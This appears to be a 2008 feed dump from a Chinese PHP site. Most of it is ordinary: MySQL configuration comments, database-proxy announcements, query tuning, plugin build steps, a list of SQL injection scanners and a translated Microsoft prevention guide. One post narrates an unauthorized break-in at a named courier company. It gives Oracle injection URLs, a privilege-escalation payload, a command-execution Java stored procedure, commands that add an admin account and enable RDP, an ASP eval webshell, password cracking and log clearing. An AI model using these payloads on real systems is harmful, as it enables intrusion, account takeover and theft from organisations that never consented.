#    MASTER_USER=<user>, MASTER_PASSWORD=<password> ;
#
#    你需要替换掉 <host>, <user>, <password> 等被尖括号包围的字段以及使用master的端口号替换<port> (默认3306).
#
#    例子:
#
#    CHANGE MASTER TO MASTER_HOST='125.564.12.1', MASTER_PORT=3306,
#    MASTER_USER='joe', MASTER_PASSWORD='secret';
#
# 或者
#
# 2) 设置以下的变量. 不论如何, 在你选择这种方法的情况下, 然后第一次启动复制(甚至不成功的情况下,
#     例如如果你输入错密码在master-password字段并且slave无法连接),
#    slave会创建一个 master.info 文件,并且之后任何对于包含在此文件内的参数的变化都会被忽略
#    并且由 master.info 文件内的内容覆盖, 除非你关闭slave服务, 删除 master.info 并且重启slave 服务.
#    由于这个原因,你也许不想碰一下的配置(注释掉的) 并且使用 CHANGE MASTER TO (查看上面) 来代替
#
# 所需要的唯一id号位于 2 和 2^32 - 1之间
# (并且和master不同)
# 如果master-host被设置了.则默认值是2
# 但是如果省略,则不会生效
#server-id = 2
#
# 复制结构中的master - 必须
#master-host = <hostname>
#
# 当连接到master上时slave所用来认证的用户名 - 必须
#master-user = <username>
#
# 当连接到master上时slave所用来认证的密码 - 必须
#master-password = <password>
#
# master监听的端口.
# 可选 - 默认是3306
#master-port = <port>

# 使得slave只读.只有用户拥有SUPER权限和在上面的slave线程能够修改数据.
# 你可以使用此项去保证没有应用程序会意外的修改slave而不是master上的数据
#read_only


#*** MyISAM 相关选项


# 关键词缓冲的大小, 一般用来缓冲MyISAM表的索引块.
# 不要将其设置大于你可用内存的30%,
# 因为一部分内存同样被OS用来缓冲行数据
# 甚至在你并不使用MyISAM 表的情况下, 你也需要仍旧设置起 8-64M 内存由于它同样会被内部临时磁盘表使用.
key_buffer_size = 32M

# 用来做MyISAM表全表扫描的缓冲大小.
# 当全表扫描需要时,在对应线程中分配.
read_buffer_size = 2M

# 当在排序之后,从一个已经排序好的序列中读取行时,行数据将从这个缓冲中读取来防止磁盘寻道.
# 如果你增高此值,可以提高很多ORDER BY的性能.
# 当需要时由每个线程分配
read_rnd_buffer_size = 16M

# MyISAM 使用特殊的类似树的cache来使得突发插入
# (这些插入是,INSERT ... SELECT, INSERT ... VALUES (...), (...), ..., 以及 LOAD DATA
# INFILE) 更快. 此变量限制每个进程中缓冲树的字节数.
# 设置为 0 会关闭此优化.
# 为了最优化不要将此值设置大于 "key_buffer_size".
# 当突发插入被检测到时此缓冲将被分配.
bulk_insert_buffer_size = 64M

# 此缓冲当MySQL需要在 REPAIR, OPTIMIZE, ALTER 以及 LOAD DATA INFILE 到一个空表中引起重建索引时被分配.
# 这在每个线程中被分配.所以在设置大值时需要小心.
myisam_sort_buffer_size = 128M

# MySQL重建索引时所允许的最大临时文件的大小 (当 REPAIR, ALTER TABLE 或者 LOAD DATA INFILE).
# 如果文件大小比此值更大,索引会通过键值缓冲创建(更慢)
myisam_max_sort_file_size = 10G

# 如果被用来更快的索引创建索引所使用临时文件大于制定的值,那就使用键值缓冲方法.
# 这主要用来强制在大表中长字串键去使用慢速的键值缓冲方法来创建索引.
myisam_max_extra_sort_file_size = 10G

# 如果一个表拥有超过一个索引, MyISAM 可以通过并行排序使用超过一个线程去修复他们.
# 这对于拥有多个CPU以及大量内存情况的用户,是一个很好的选择.
myisam_repair_threads = 1

# 自动检查和修复没有适当关闭的 MyISAM 表.
myisam_recover


# 默认关闭 Federated
skip-federated

# *** BDB 相关选项 ***

# 如果你运行的MySQL服务有BDB支持但是你不准备使用的时候使用此选项. 这会节省内存并且可能加速一些事.
skip-bdb


# *** INNODB 相关选项 ***

# 如果你的MySQL服务包含InnoDB支持但是并不打算使用的话,
# 使用此选项会节省内存以及磁盘空间,并且加速某些部分
#skip-innodb

# 附加的内存池被InnoDB用来保存 metadata 信息
# 如果InnoDB为此目的需要更多的内存,它会开始从OS这里申请内存.
# 由于这个操作在大多数现代操作系统上已经足够快, 你一般不需要修改此值.
# SHOW INNODB STATUS 命令会显示当先使用的数量.
innodb_additional_mem_pool_size = 16M

# InnoDB使用一个缓冲池来保存索引和原始数据, 不像 MyISAM.
# 这里你设置越大,你在存取表里面数据时所需要的磁盘I/O越少.
# 在一个独立使用的数据库服务器上,你可以设置这个变量到服务器物理内存大小的80%
# 不要设置过大,否则,由于物理内存的竞争可能导致操作系统的换页颠簸.
# 注意在32位系统上你每个进程可能被限制在 2-3.5G 用户层面内存限制,
# 所以不要设置的太高.
innodb_buffer_pool_size = 2G

# InnoDB 将数据保存在一个或者多个数据文件中成为表空间.
# 如果你只有单个逻辑驱动保存你的数据,一个单个的自增文件就足够好了.
# 其他情况下.每个设备一个文件一般都是个好的选择.
# 你也可以配置InnoDB来使用裸盘分区 - 请参考手册来获取更多相关内容
innodb_data_file_path = ibdata1:10M:autoextend

# 设置此选项如果你希望InnoDB表空间文件被保存在其他分区.
# 默认保存在MySQL的datadir中.
#innodb_data_home_dir = <directory>

# 用来同步IO操作的IO线程的数量. This value is
# 此值在Unix下被硬编码为4,但是在Windows磁盘I/O可能在一个大数值下表现的更好.
innodb_file_io_threads = 4

# 如果你发现InnoDB表空间损坏, 设置此值为一个非零值可能帮助你导出你的表.
# 从1开始并且增加此值知道你能够成功的导出表.
#innodb_force_recovery=1

# 在InnoDb核心内的允许线程数量.
# 最优值依赖于应用程序,硬件以及操作系统的调度方式.
# 过高的值可能导致线程的互斥颠簸.
innodb_thread_concurrency = 16

# 如果设置为1 ,InnoDB会在每次提交后刷新(fsync)事务日志到磁盘上,
# 这提供了完整的ACID行为.
# 如果你愿意对事务安全折衷, 并且你正在运行一个小的食物, 你可以设置此值到0或者2来减少由事务日志引起的磁盘I/O
# 0代表日志只大约每秒写入日志文件并且日志文件刷新到磁盘.
# 2代表日志写入日志文件在每次提交后,但是日志文件只有大约每秒才会刷新到磁盘上.
innodb_flush_log_at_trx_commit = 1

# 加速InnoDB的关闭. 这会阻止InnoDB在关闭时做全清除以及插入缓冲合并.
# 这可能极大增加关机时间, 但是取而代之的是InnoDB可能在下次启动时做这些操作.
#innodb_fast_shutdown

# 用来缓冲日志数据的缓冲区的大小.
# 当此值快满时, InnoDB将必须刷新数据到磁盘上.
# 由于基本上每秒都会刷新一次,所以没有必要将此值设置的太大(甚至对于长事务而言)

innodb_log_buffer_size = 8M

# 在日志组中每个日志文件的大小.
# 你应该设置日志文件总合大小到你缓冲池大小的25%~100%
# 来避免在日志文件覆写上不必要的缓冲池刷新行为.
# 不论如何, 请注意一个大的日志文件大小会增加恢复进程所需要的时间.
innodb_log_file_size = 256M

# 在日志组中的文件总数.
# 通常来说2~3是比较好的.
innodb_log_files_in_group = 3

# InnoDB的日志文件所在位置. 默认是MySQL的datadir.
# 你可以将其指定到一个独立的硬盘上或者一个RAID1卷上来提高其性能
#innodb_log_group_home_dir

# 在InnoDB缓冲池中最大允许的脏页面的比例.
# 如果达到限额, InnoDB会开始刷新他们防止他们妨碍到干净数据页面.
# 这是一个软限制,不被保证绝对执行.
innodb_max_dirty_pages_pct = 90

# InnoDB用来刷新日志的方法.
# 表空间总是使用双重写入刷新方法
# 默认值是 "fdatasync", 另一个是 "O_DSYNC".
#innodb_flush_method=O_DSYNC

# 在被回滚前,一个InnoDB的事务应该等待一个锁被批准多久.
# InnoDB在其拥有的锁表中自动检测事务死锁并且回滚事务.
# 如果你使用 LOCK TABLES 指令, 或者在同样事务中使用除了InnoDB以外的其他事务安全的存储引擎
# 那么一个死锁可能发生而InnoDB无法注意到.
# 这种情况下这个timeout值对于解决这种问题就非常有帮助.
innodb_lock_wait_timeout = 120


[mysqldump]
# 不要在将内存中的整个结果写入磁盘之前缓存. 在导出非常巨大的表时需要此项
quick

max_allowed_packet = 16M

[mysql]
no-auto-rehash

# 仅仅允许使用键值的 UPDATEs 和 DELETEs .
#safe-updates

[isamchk]
key_buffer = 512M
sort_buffer_size = 512M
read_buffer = 8M
write_buffer = 8M

[myisamchk]
key_buffer = 512M
sort_buffer_size = 512M
read_buffer = 8M
write_buffer = 8M

[mysqlhotcopy]
interactive-timeout

[mysqld_safe]
# 增加每个进程的可打开文件数量.
# 警告: 确认你已经将全系统限制设定的足够高!
# 打开大量表需要将此值设高
open-files-limit = 8192 ]]>
开源项目 Amoeba for Aladdin 0.1发布(数据库整合、读写分离、数据切分、负载均衡) http://www.phpv.net/html/1635.html http://www.phpv.net/html/1635.html#comment Mon, 20 Oct 2008 22:31:55 +0000 抽烟的蚊子 http://www.phpv.net/html/1635.html 感谢网友Amoeba投递

Aladdin项目是针对企业数据库整合而产生的另外一种数据库切分、读写分离、负载均衡的中间件产品,是amoeba的子产品。沿袭了amoeba其他产品的特性(amoeba for mysql)。

Aladdin产品简介:

      与Amoeba for mysql 类似,客户端连接aladdin必须用mysql 协议,之所以用mysql协议,主要是想借助mysql使用的广泛程度以及对各种开发语言的支持,因此aladdin对客户端采取了mysql协议以方便适应广泛的使用者。aladdin后端可以同时连接各种数据库。只要这些数据库提供jdbc驱动。aladdin的出现可以解决企业在数据库整合上面提供积极的帮助。使用者不需要知道后端到底使用了什么类型的数据库、数据库的物理地址什么,这些由aladdin来分析sql语句,并且获得相应的要查询的表跟条件,然后由这些规则结合这些条件进行路由到相关的物理数据库。
 
 
 
Aladdin主要设计为那些有jdbc驱动的数据库设计。
在使用aladdin的时候必须将该数据库的jdbc driver 类库放到 lib目录下面
 
Amoeba开发者博客: http://amoeba.meidusa.com
Amoeba开源项目地址: http://www.sourceforge.net/projects/amoeba
amoeba 中文文档下载地址:http://amoeba.meidusa.com/amoeba.pdf
]]>
Amoeba 分布式数据库解决方案 http://www.phpv.net/html/1631.html http://www.phpv.net/html/1631.html#comment Wed, 15 Oct 2008 13:39:56 +0000 抽烟的蚊子 http://www.phpv.net/html/1631.html 感谢网友amoeba的投递

Amoeba在分布式数据库领域将致力解决数据切分,应付客户端“集中式”处理分布式数据。这儿集中式是一个相对概念,客户端不需要知道某种数据的物理存储地。避免这种逻辑出现在业务端,大大简化了客户端操作分布式数据的复杂程度。 Amoeba(变形虫)项目是分布式数据库 proxy 开发框架。座落与Client、DB Server(s)之间。对客户端透明。具有负载均衡、高可用性、sql过滤、读写分离、可路由相关的query到目标数据库、可并发请求多台数据库合并结果
 
主要解决:
* 降低 数据切分带来的复杂多数据库结构
* 提供切分规则并降低 数据切分规则 给应用带来的影响
* 降低db 与客户端的连接数
* 读写分离
* 制定一种规则可支持DB线性扩容

目前在amoeba 框架上面已经实现了 amoeba for mysql, amoeba for aladdin

amoeba 中文文档下载地址:

http://amoeba.meidusa.com/amoeba.pdf

amoeba 未来发展方向:

http://amoeba.meidusa.com/amoeba-big-picture.pdf
 
amoeba 开发者博客:
 
http://amoeba.meidusa.com
]]>
mysql数据库索引查询优化的分享 http://www.phpv.net/html/1624.html http://www.phpv.net/html/1624.html#comment Mon, 11 Aug 2008 20:21:28 +0000 抽烟的蚊子 http://www.phpv.net/html/1624.html

问题描述:


我们要访问的表是一个非常大的表,四千万条记录,id是主键,program_id上建了索引。
执行一条SQL:

select * from program_access_log where program_id between 1 and 4000

这条SQL非常慢。
我们原以为处理记录太多的原因,所以加了id限制,一次只读五十万条记录

select * from program_access_log where id between 1 and 500000 and program_id between 1 and 4000

但是这条SQL仍然很慢,速度比上面一条几乎没有提升。
Mysql处理50万条记录的表,条件字段还建了索引,这条语句应该是瞬间完成的。


问题分析:


这张表大约容量30G,数据库服务器内存16G,无法一次载入。就是这个造成了问题。
这条SQL有两个条件,ID一到五十万和Program_id一到四千,因为program_id范围小得多,mysql选择它做为主要索引。
先通过索引文件找出了所有program_id在1到4000范围里所有的id,这个过程非常快。
接下来要通过这些id找出表里的记录,由于这些id是离散的,所以mysql对这个表的访问不是顺序读取。
而这个表又非常大,无法一次装入内存,所以每访问一条记录mysql都要重新在磁盘上定位并把附近的记录都载入内存,大量的IO操作导致了速度的下降。

问题解决方案:
1. 以program_id为条件对表进行分区
2. 分表处理,每张表的大小不超过内存的大小
然而,服务器用的是mysql5.0,不支持分区,而且这个表是公共表,无法在不影响其它项目的条件下修改表的结构。
所以我们采取了第三种办法:

select * from program_access_log where id between 1 and 500000 and program_id between 1 and 15000000

现在program_id的范围远大于id的范围,id被当做主要索引进行查找,由于id是主键,所以查找的是连续50万条记录,速度和访问一个50万条记录的表基本一样

总结:
这是一个在千万笔记录表中由于使用了索引导致了数据查找变慢的问题,有一定的典型性和大家交流下!

]]>
MySQL Memcache_engine的安装与使用 http://www.phpv.net/html/1617.html http://www.phpv.net/html/1617.html#comment Tue, 22 Jul 2008 18:06:13 +0000 admin http://www.phpv.net/html/1617.html
Memcache_engine是一个MySQL 5.1数据库的存储引擎,它能够让用户通过标准的SQL语句(SELECT/UPDATE/INSERTE/DELETE)访问Memcached(还支持新浪的Memcachedbdbcached)中存放的数据。

限制:
1、Memcache表必须有主键。
2、只能使用主键去查询,即只能使用SELECT ... FROM ... WHERE id = ... 方式去查询。
3、不支持自增ID。

安装与使用:
1、编译安装memcache_engine的步骤:
cd /tmp
wgethttp://dev.mysql.com/get/Downloads/MySQL-5.1/mysql-5.1.26-rc.tar.gz/from/http://mirror.x10.com/mirror/mysql/
tar zxvf mysql-5.1.26-rc.tar.gz
#安装、配置MySQL的步骤省略,注意不要以静态方式编译安装。

wgethttp://download.tangent.org/libmemcached-0.22.tar.gz
tar zxvf libmemcached-0.22.tar.gz
cd libmemcached-0.22/
./configure --prefix=/usr/local/memcache_engine
make
make install
cd ../

wgethttp://xmlsoft.org/sources/libxml2-2.6.32.tar.gz
tar zxvf libxml2-2.6.32.tar.gz
cd libxml2-2.6.32/
./configure --prefix=/usr/local/memcache_engine
make
make install
cd ../

wgethttp://download.tangent.org/libxmlrow-0.2.tar.gz
tar zxvf libxmlrow-0.2.tar.gz
cd libxmlrow-0.2/
export PKG_CONFIG_PATH=/usr/local/memcache_engine/lib/pkgconfig/
./configure --prefix=/usr/local/memcache_engine
make
make install
cd ../

wgethttp://download.tangent.org/memcache_engine-0.7.tar.gz
tar zxvf memcache_engine-0.7.tar.gz
cd memcache_engine-0.7/
sed -i "s#uint16_t#uint32_t#g" ./src/ha_memcache.cc
export PKG_CONFIG_PATH=/usr/local/memcache_engine/lib/pkgconfig/
./configure --prefix=/usr/local/memcache_engine --with-mysql=/tmp/mysql-5.1.26-rc
make
make install
cd ../

注意:红色标记部分为MySQL 5.1.22以上版本的源码路径。

2、拷贝libmemcache_engine.so到MySQL默认插件目录(假设MySQL安装在/usr/local/mysql目录下):
mkdir -p /usr/local/mysql/lib/mysql/plugin/
cp /usr/local/memcache_engine/lib/libmemcache_engine.so.0.0.0 /usr/local/mysql/lib/mysql/plugin/libmemcache_engine.so


3、安装libmemcache_engine.so插件的SQL语句:
INSTALL PLUGIN memcache SONAME 'libmemcache_engine.so';


4、查看libmemcache_engine.so插件是否安装成功的SQL语句:
SELECT * FROM mysql.plugin;
SHOW PLUGINS;


5、创建一张memcache_engine表的SQL语句:
CREATE TABLE `table` (
`id` int(11) NOT NULL DEFAULT '0',
`a` int(11) DEFAULT NULL,
`b` int(11) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=MEMCACHE DEFAULT CHARSET=latin1
CONNECTION='localhost:11211';


]]>
3 款 SQL INJECTION 攻击检测工具 http://www.phpv.net/html/1609.html http://www.phpv.net/html/1609.html#comment Wed, 25 Jun 2008 10:57:44 +0000 admin http://www.phpv.net/html/1609.html
工具一:
Scrawlr

下载地址:https://download.spidynamics.com/Products/scrawlr/

这 个微软和 HP合作开发的工具,会在网站中爬行,对所有网页的查询字符串进行分析并发现其中的 SQL INJECTION 风险。Scrawlr 使用了部分 HP WebInspect 相同的技术,但只检测 SQL INJECTION 风险。Scrawlr 从一个起始 URL 入口,爬遍整个网站,并对站点中所有网页进行分析以找到可能存在的漏洞。


工具二:
Microsoft Source Code Analyzer for SQL Injection

下载地址:http://www.microsoft.com/downloads/details.aspx?FamilyId=58A7C46E-A599-4FCB-9AB4-A4334146B6BA&displaylang=en

这款被称作 MSCASI 的工具可以检测 ASP 代码并发现其中的 SQL INJECTION 漏洞(ASP 代码以 SQL INJECTION 漏洞著称),你需要向 MSCASI 提供原始代码,MSCASI 会帮你找到存在风险的代码位置。

工具三:
URLScan 3.0

下载地址: http://www.iis.net/downloads/default.aspx?tabid=34&g=6&i=1697

该工具会让 IIS 限制某些类型的 HTTP 请求,通过对特定 HTTP 请求进行限制,可以防止某些有害的请求在服务器端执行。UrlScan 通过一系列关键词发现恶意请求,并阻止恶意请求的执行。
]]>
对著名快递公司的一次艰难的oracle注入 http://www.phpv.net/html/1605.html http://www.phpv.net/html/1605.html#comment Tue, 10 Jun 2008 11:31:36 +0000 esayr http://www.phpv.net/html/1605.html [原创]对著名快递公司的一次艰难的oracle注入 文章作者:rebeyond
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

● 轻车熟路  

一个对X飞鸿有意见的亲密朋友找我说能不能把这个公司的网站给搞了,我一听公司,心想,企业站都是垃圾,好搞,便痛快答应(人品真好!),呵呵,但是后来才发现没我想像的那么简单。

站面如图:




asp的页面,啊d和google扫注入点没有,意料之中,工具误差太大!于是旁注,结果只有这一个站,然后便边开着流光扫服务器边习惯性的去站上乱逛去手工找注入点,一会的功夫出来一条链接,如图:



习惯性的单引号,如图:

 

很 明显的注入,猜测源码大体是这样的:select XX from XXX where wen='云南';而且数据库类型为oracle,顿时来了精神,很少有这种练手的机会!估计服务器配置肯定不错!由于这种类型的数据库没什么好的工具, 就直接来手工吧,那样比较刺激,据我朋友说这个公司很大,网络也很大,数据库量更是大上加大,难怪用oracle呢,所以放弃后台提权的想法!

先用 union查询确定字段数和暴一些敏感资料,提交如下url:http://211.154.103.??/server2.asp?wen=四川省' order by 20--;返回正确,说明此表字段名大于20,继续提交http://211.154.103.??/server2.asp?wen=四川省' order by 30--;仍然返回正确,经过一些列的猜测然后提交,49返回正确,50出错,确定字段为49个,然后提交以下url:http://211.154.103.??/server2.asp?wen=四川省' union select NULL,NULL,……,NULL from dual-中间省略,一共49个null,  由于union查询需要数据类型匹配,否则出错,所以这里用null而不用数字可以避免类型错误,然后提交http://211.154.103.??/server2.asp?wen=四川省'  and 1=2 union select 1,NULL,……,NULL from dual--;出错显示类型不匹配,换成http://211.154.103.??/server2.asp?wen=四川省'  and 1=2 union select '1',NULL,……,NULL from dual--;返回正确,说明第一个是字符型的,但是下面对应位置并没有显示,继续按以上方法尝试后面48个,当试到12和13时,下面对应位置显示了,如图:
 

好了,现在我们就要用下面那两个地方爆我们需要的东西,看下oracle版本,提交http://211.154.103.??/server2.asp?wen=四川省'  and 1=2 union select '1',NULL,……,'11', (select banner from sys.v_$version where rownum=1),'13'……NULL from dual--;
结果如图:



继续提交select member from v$logfile where rownum=1获得操作系统版本,
如图



确定是windows,下面查看服务器sid,提交select instance_name from v$instance

如图

 

待会远程连接要用的,下面确定下主机ip,telnet 漏洞页上显示的ip地址的1521端口,为oracle的端口, ,成功,1521开放,下面就本地架设个oracle客户端,利用oracle的那些默认帐号密码登录,尝试n次均失败告终,管理员安全意思不错,表扬 下!^.^

下面就利用oracle的内置函数SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES过滤不严的漏 洞,至于这个函数的具体漏洞形成的原因,这里就不占篇幅了,想知道的可以去我博客,对oracle不熟悉的可以跳过这一部分,继续构造提交:http://211.154.103.??/server2.asp?wen= 四川省 '%20and%20''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA%20AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER REBEYOND IDENTIFIED BY REBEYOND'''';END;'';END;--','SYS',0,'1',0)=''--;

这里讲解下,and后面把函数求逻辑或然后与空比 较,这样系统会先求函数值,便会执行我们构造在函数里的语句,这样就往数据库加了个用户名为rebeyond密码为rebeyond的用户,然后执行http://211.154.103.??/server2.asp?wen= 四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant sysdba to rebeyond'''';END;'';END;--','SYS',0,'1',0)=''--便把我们建的用户加为dba权限,下面赋予用户远程连 接权限,提交http://211.154.103.??/server2.asp?wen= 四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''GRANT CONNECT TO rebeyond'''';END;'';END;--','SYS',0,'1',0)=''--,好了,下面远程连接!

● 峰回路转
本以为建了dba权限的用户,远程连接继续拿权限就完了,但是当我以dba身份登录时却出现这个,如图:



百度
了下才知道是服务器那边配置的问题,由于是服务器端的问题,一时不好解决,就暂时先用normal方式登录,连接成功,进去去权限设置那把权限能勾的都勾上,如图:




因为我们毕竟是dba权限的,虽然没以dba方式登录,但是除了开关数据库,其他权限还是都有的,然后就是想办法提权拿服务器,虽然oracle不支持 xp_cmdshell直接执行系统命令,但是对plsql的支持是非常另人激动的,因为可以通过建立java存储过程来执行命令,注意这时建完 shell后要对数据库用户赋予对磁盘文件操作的权限(在sqlplus里执行):call dbms_java.grant_permission('REBEYOND','java.io.FilePermission','c:/a.txt','read,write');  。 cmd打开sqlplus(和oracle客户端一起安装的),输入sqlplus /nolog,然后输入connect [email=rebeyond/rebeyond@(description=(address_list=(address= (protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data= (SERVICE_NAME=ORCL]rebeyond/rebeyond@(description=(address_list= (address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data= (SERVICE_NAME=ORCL[/email])));是不是用到了我们前面爆出的服务器sid呢,hoho,连接成功,下面开始执行命令,创建 java存储过程,代码如下:

java存储过程:
第一步:
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}

第二步:

create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';

第三步:
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;

创建完之后,就可以通过x := RUN_CMz(dos命令)来执行系统命令了。

建 完存储过程后系统命令执行成功, 如图

  

但是后来发现这个shell很不爽,如果遇到需要交互的命令就会卡死,刚开始想用"ftp 我的ip地址"检测下能不能执行,结果卡死,我这边防火墙也没反应,不解,后tasklist,发现ftp.exe, 确定对方不能连接外网,可能有防火墙或作了设置.

于是用ftp传马思路抛弃,打个systeninfo命令看下系统,是2003,于是打算先建个超级用户 然后开3389,执行exec :x := RUN_CMD('net user')结果卡死,猜测net被删,执行exec :x := RUN_CMD('net1 user');成功,执行exec :x := RUN_CMD('net1 user rebeyond rebeyond  /add&net1 localgroup administrators rebeyond /add');成功,下面用reg命令读下3389的状态和端口,执行exec :x := RUN_CMD('reg query "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server"');发现fDenyTSconnections值为1,说明3389关闭

于是依次执行以下语句开3389:
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f

因为cmd一交互就卡死,所以加了个/f强行参数,搞定后运行mstsc连接,结果另人吐血,能连上但是却没有登录窗口,提示说什么" awgina.dll被替换成未知版本",猜测可能把3389用到的dll给删除了,因为虽然不能登录但可以连接,于是想到了替换sethc.exe,在 shell下依次执行:

exec :x :=RUN_CMD ('del c:windowssystem32sethc.exe /f')
exec :x :=RUN_CMD('del C:WINDOWSsystem32dllcachesethc.exe /f')
exec :x :=RUN_CMD('copy c:windowsexplorer.exe c:windowssystem32sethc.exe')

按五次shift后发现没替换成功,也没删除成功,推断原因只有一个,就是没权限,但是我在前面用java建shell前专门赋予了权限的,不解,百度一 番!发现赋予文件操作权限必须得以dba的方式登录,但是前面说了我们无法以dba方式登录,顿时大脑一片空白,没有写和删除权限,只有运行权限,思路一 下少了很多,继续!!忽然想到了telnet,用reg查看了下telnet服务的状态为禁用,于是执行reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTlntSvr" /v Start /t REG_DWORD /d 2 /f把telnet服务设置为自动,然后就是想办法让服务器重启开telnet。

●柳暗花明:

shell里执行rundll32.exe user.exe,restartwindows,不一会主机重启了,成功telnet,这样权限我们已经拿到了!但是要向图像界面进军,在telnet 执行netstat -an看了下端口,发现5632,熟悉提权的人应该很熟悉,这是pcanywhere的默认端口,但是怎么才能知道pcanywhere的密码呢?因为不 能连接外网,所以直接传cif文件是不可能的,于是想到了webshell!在telnet里找到站的 目录d:site,执行echo "<%eval(request("#"))%>" >d:siteguestboook.asp,访问成功,然后用海洋一句话提交大马成功如图:



跳转到pcanywhere的cif文件目录下载cif文件并破解,成功得到pcanywhere的密码,如图:



到这基本就结束了,但是pcanywhere远程很不爽,于是还是想开用3389,于是百度搜索原因,发现是3389和pcanywhere冲突的原因 并找到了解决办法,删除某个注册表项就搞定了,在pcanywhere操作就很简单了,搞定后重启服务器,连接对方3389,终于看到了熟悉的登录界面, 用前面建的用户成功登入!如图:


至此整个入侵过程宣告结束!清了下日志修补了下漏洞!闪人!睡觉!                     
]]>
SQL注入攻击预防-来自微软安全博客的建议 http://www.phpv.net/html/1598.html http://www.phpv.net/html/1598.html#comment Thu, 05 Jun 2008 11:44:01 +0000 抽烟的蚊子 http://www.phpv.net/html/1598.html 译者: 韩国峰 原文

简介
SQL注入攻击方式发展愈演愈烈,黑客通过SQL数据库对网站进行非法入侵并修改页面,同时页面上还会被加入恶意软件,持续影响一些网络应用程序。

本文翻译自微软博客上刊载的相关文章,英文原文版权归原作者所有,特此声明。 (特别感谢Neil Carpenter对本文写作提供的帮助)


近期趋势




从去年下半年开始,很多网站被损害,他们在用于生成动态网页的SQL数据库中存储的文本中被注入了恶意的HTML <script>标签。这样的攻击在2008年第一季度开始加速传播,并且持续影响有漏洞的Web程序。这些Web应用程序有这样一些共同点:

  • 使用经典ASP代码的程序
  • 使用SQL Server数据库的程序

应用程序代码根据URI请求字符动态地生成SQL查询(http://consoto.com/widgets.asp?widget=sprocket)这体现了一种新的SQL注入(SQL injection)的途径(http://msdn.microsoft.com/en-us/library/ms161953.aspx)。 在过去,SQL注入攻击的目标是具有如下特点的特殊Web应用程序:攻击者知道或者可以探测出后台数据库的漏洞或者结构。这样的攻击(指本文讨论的攻击- 译者注)不同,因为它是抽象的,对于攻击来说,任何存在于使用URI请求字符串动态创建SQL查询的ASP页面都可能存在。你可以在 http://blogs.technet.com/neilcar/archive/2008/03/15/anatomy-of-a-sql-injection-incident-part-2-meat.aspx找 到更多的技术详情和简单代码。 这样的攻击并非利用了Window、IIS、SQL Server或者其他底层代码的漏洞,而是利用了在这些平台上运行的由程序员自行编写的代码中的漏洞。Microsoft已经对这些攻击进行了彻底的调 查,并且发现,他们和以往的Microsoft产品的补丁和0-day漏洞无关。你可以在http://blogs.technet.com/msrc/archive/2008/04/25/questions-about-web-server-attacks.aspx获取跟多的信息。 正如上面所指出的,这些攻击在近年来呈现一种增长的趋势。这至少与两个因素有关: 第一,有暴力性的恶意攻击工具自动化进行此类操作。SANS在http://isc.sans.org/diary.html?storyid=4294讨论了这类工具。该工具使用搜索引擎来寻找具有SQL注入漏洞的站点。 第二,一个或多个恶意僵尸正在进行SQL注入攻击,用以广泛传播僵尸。SecureWorks在http://www.secureworks.com/research/threats/danmecasprox/讨 论了一个案例。 一旦某台服务器被该漏洞所攻击,它将被插入指向某.js文件的恶意<script>标签。虽然这些文件的内容不同,但是他们都尝试利用已经被 修复的Micfosoft产品的漏洞或者第三方ActiveX控件的漏洞。由于这些脚本被单独存储,这些脚本就很容易的被更新以利用更新的客户端漏洞,也 更容易按照不同浏览器来定制。



给信息技术/数据库管理员的建议




有很多事情是信息技术管理员或者数据库管理员可以采取的,以减少他们的风险和响应他们的代码和平台中可能出现的事件:

  • 检查IIS日志和数据表来寻找未知风险的标志。

由于该漏洞利用方式通过URI请求字符串作用,管理员们可以检查IIS日志来查找尝试利用该漏洞的非正常请求。你可以在http://blogs.technet.com/neilcar/archive/2008/03/15/anatomy-of-a-sql-injection-incident-part-2-meat.aspx找到如何手动进行改操作的详细信息。在 http://www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=WSUS&ReleaseId=13436有 进行自动化操作的工具。 如果IIS日志表明服务器可能已经被侵害,那么下一步要采取的行动就是审计相应的Web应用程序所使用的数据库中的表,并且查找附加在文本内容中 的<script>标签。 提示:IIS服务器不应当在生产环境中关闭日志。存储和适当的管理对于IIS日志都是重要的,缺少IIS日志对于响应安全事件是非常困难的。

